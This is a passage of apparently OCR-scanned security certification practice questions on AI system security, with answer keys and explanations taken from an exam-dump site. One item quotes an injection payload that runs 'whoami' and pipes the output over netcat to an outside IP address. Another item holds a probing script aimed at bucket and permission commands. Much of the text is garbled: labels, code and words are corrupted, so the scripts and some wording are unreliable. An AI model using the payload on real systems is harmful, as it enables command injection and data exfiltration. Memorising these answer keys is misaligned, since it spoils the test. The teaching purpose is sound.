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'R #T1
A security analyst receives an alert about an Al system and is investigating the following output:

ALERT: Local command run from unexpected service account

POST /handler/vl/message='speak to an operator. }\n#SELECHECK#\n; sub.popen('whoami | nc 11.22.33.44' 80 &\n}'

500 Intewkna{ _Mrrdr

Which of the following is the most appropriate control the analyst should recommend?

¢ A. Monitoring logs for attack words from the system
¢ B. Implementing user input validation

¢ (. Hardening the Model Context Protocol server

¢ D. Integrating data sanitization

Ef#: B

fEE:

The output shows a command injection attempt (sub.popen(‘'whoami | nc 11.22.33.44'...)) embedded in user input. The most
effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands,
thereby securing the Al system against injection attacks.

HP#72
A penetration tester is assessing the controls of a deployed Al system that is designed to search and return the contents of files. The
tester runs the following:

$!/usr/bin/env pytfohj

import requests

cmd = ['deleteBuckets’', 'getObjects', 'listAclM Wl istPermissions']
url = 'https://myapp.local.dev/locate?file #g=Rf80.txt";param l1="
count 0

i in cmd:

response = requests.get (lrh % 8i)
if '200' in response:
#print (str (resphse)")
count = COURL & e
print (4% + ' ' +¥Sggult + ' "+ ##)

SCRIPT OUTPUT: ##% 4 ##

Which of'the following is the best control to prevent abuse of the system?

¢ A. Reducing the privilege scope of the service account

¢ B. Implementing custom detection rules for anomalous model behavior

e C. Adding a large language model (LLM) guardrails library to the application code
¢ D. Segmenting the workload into a separate virtual private cloud (VPC)

Ef: A

R«

The penetration test shows that the system accepts arbitrary commands like deleteBuckets or listPermissions, which could lead to
privilege abuse. The most effective control is least privilege, ensuring the service account only has access to what is strictly necessary
(e.g, reading files) and not sensitive operations like deleting buckets or altering permissions.


https://www.jpexam.com/CY0-001_exam.html

HE#73
‘Which control BEST prevents attackers from harvesting password hashes during lateral movement?

A. Disable RDP

B. Network segmentation

C. Credential- guarding solutions
D. Account lockouts

IEf: C

TR
LSASS-protection solutions prevent hash extraction.

B #74
A security operations center (SOC) has a very high volume of logs and alerts. The manager proposes the implementation of machine

learning (ML) system to help with triage. Which of the following tasks is most suitable?

A. Identifying and classifying alerts

B. Applying filters on specific alerts

C. Summarizing the content of alerts

D. Automatically patching vulnerable systems

EfE: A
fERL:

Machine learning is best suited for analyzing large volumes of security data and distinguishing between true threats and false positives.
By identifying and classifying alerts, the ML system helps the SOC prioritize incidents and reduce analyst workload.

B #75

A company develops an Al model to diagnose patients. Hospitals access the model through an integrated application programming
mterface (API). The security team perforins a denial-of- service (DoS) attack via brute force on the model. Which of the following
controls would have prevented this issue?

A. Rate limiting

B. Tokenization

C. Prompt firewall
D. Model guardrails

EE: A

R -
Rate limiting restricts the number of API requests within a specific timeframe, preventing brute- force attempts that can overwhelm
the Al model and cause denial-of-service conditions.
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